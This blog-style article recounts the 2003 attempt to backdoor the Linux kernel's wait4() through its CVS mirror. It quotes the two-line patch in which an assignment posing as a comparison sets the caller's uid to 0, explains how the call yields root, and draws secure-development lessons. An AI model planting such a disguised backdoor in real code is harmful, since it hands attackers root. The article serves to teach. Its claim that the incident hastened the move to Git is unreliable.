# Backdoor in the Linux Kernel: How a wait4() Bug Nearly Granted Root Access
In 2003, Linux developers discovered an unauthorized change in the CVS repository. A suspicious code snippet had been inserted into the wait4() function, potentially granting root privileges to any user. The change appeared without any traces in the main BitKeeper repository, pointing straight to a breach of the CVS repository.
The code looked harmless at first glance:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
The issue hid in the = operator. Instead of a comparison with ==, it was an assignment that set current->uid to 0 (root) for any wait4() call with the __WCLONE and __WALL flags. This opened a path to privilege escalation without any additional checks.
Repository History and the Vulnerability's Entry Point
Back in those days, Linux relied on two repositories in parallel:
- BitKeeper — the primary, modern VCS for the kernel.
- CVS — a legacy repository for old tools and old-school developers.
Synchronization was manual: changes from BitKeeper were copied over to CVS along with tags. The attacker targeted CVS specifically, slipping in the patch unnoticed. The absence of automated checks and the differing audiences for the repositories allowed the breach to slip through.
Developers spotted the anomaly during a routine review: a commit in CVS with no matching one in BitKeeper. Comparing versions revealed the malicious code.
Technical Breakdown of the Vulnerability
The wait4() function handles waiting for child processes to finish, with extended options. The __WCLONE and __WALL flags track clones and all processes.
The attack logic was simple:
- The user calls
wait4(options = __WCLONE | __WALL). - The condition
current->uid = 0assigns UID 0 (root). - It returns
-EINVAL, masking the success. - Subsequent system calls run as root.
This was a zero-day backdoor: no exploit needed, activated by a standard call. Similar slip-ups (= instead of ==) are a common source of vulnerabilities in C.
Lessons for Modern Development
The incident highlighted the risks of legacy systems. Today's practices minimize such threats:
- Single repository: Git with branching and PRs.
- CI/CD with checks: Automated diffs, static analysis (Coverity, Clang).
- Commit signing: GPG/PGP for authentication.
- Signed tags: Release protection.
- Fuzzing and auditing: Continuous testing of syscalls.
The Linux kernel now mandates code reviews and automated tests for these patterns.
Key Takeaways
- The
=instead of==bug inwait4()created a root backdoor for any user. - The hack went down through CVS, while BitKeeper stayed clean.
- Manual repo sync was the weak link back in 2003.
- The incident sped up the shift to Git in kernel development.
- Double-check conditions in if statements: compilers don't always catch assignments.
— Editorial Team
No comments yet.